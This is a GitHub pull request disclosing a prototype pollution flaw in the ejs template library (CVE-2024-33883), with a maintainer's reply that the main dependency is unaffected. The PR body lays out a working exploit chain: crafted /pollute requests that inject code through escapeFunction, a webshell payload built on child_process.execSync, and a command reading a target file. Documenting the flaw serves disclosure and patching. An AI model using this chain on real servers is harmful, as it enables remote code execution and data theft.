Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fix(deps): Insufficient Prototype Pollution Validation Leading to RCE Exploitation #120

Open
wants to merge 1 commit into
base: main
Choose a base branch
from

Conversation

lamcodeofpwnosec
Copy link

snyk/snyk-apps-demo project was used ejs (aka Embedded JavaScript templates) lacks certain pollution protection. ejs@3.1.9, Insufficient Prototype Pollution Validation Leading to RCE Exploitation

  • With prototype pollution, set opts.client to truthy value (condition)
  • Then, when render() runs, ejs will run opts.escapeFunction value as JS code.
1. GET /pollute?target=client&value=1

2. GET /pollute?target=escapeFunction&value=process.mainModule.require("fs").writeFileSync('./payload.js', "function RCE( key ){ \n const result = process.mainModule.require('child_process').execSync(`${key}`); \n throw new Error(`Result leak from Error: ${result.toString()}`); \n}\n module.exports = RCE;");

3. GET /
- Inject webshell

4. GET /pollute?target=escapeFunction&value=process.mainModule.require("./payload.js")("cat ./Leak_target");

5. GET /
- Activate webshell

Payloads:

function RCE( key ){ 
 const result = process.mainModule.require('child_process').execSync(`${key}`); 
 throw new Error(`Result leak from Error: ${result.toString()}`); 
}
 module.exports = RCE;

CWE-693
CWE-1321
CVE-2024-33883

@lamcodeofpwnosec lamcodeofpwnosec requested a review from a team as a code owner November 10, 2024 14:39
@CLAassistant
Copy link

CLAassistant commented Nov 10, 2024

CLA assistant check
All committers have signed the CLA.

@jgresty
Copy link
Member

jgresty commented Nov 11, 2024

The version of ejs used as a hard dependency (3.1.10) is not impacted, only the version pulled in as a transitive dependency of ejs-lint. Generally we don't consider dev dependencies when looking at security vulnerabilities internally, however thank you for alerting us to this case.

I have noticed you bumped the version of ejs-lint in the package-lock to one incompatible with the version range specified in the package.json, this change would be reverted as soon as anyone did an npm install.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants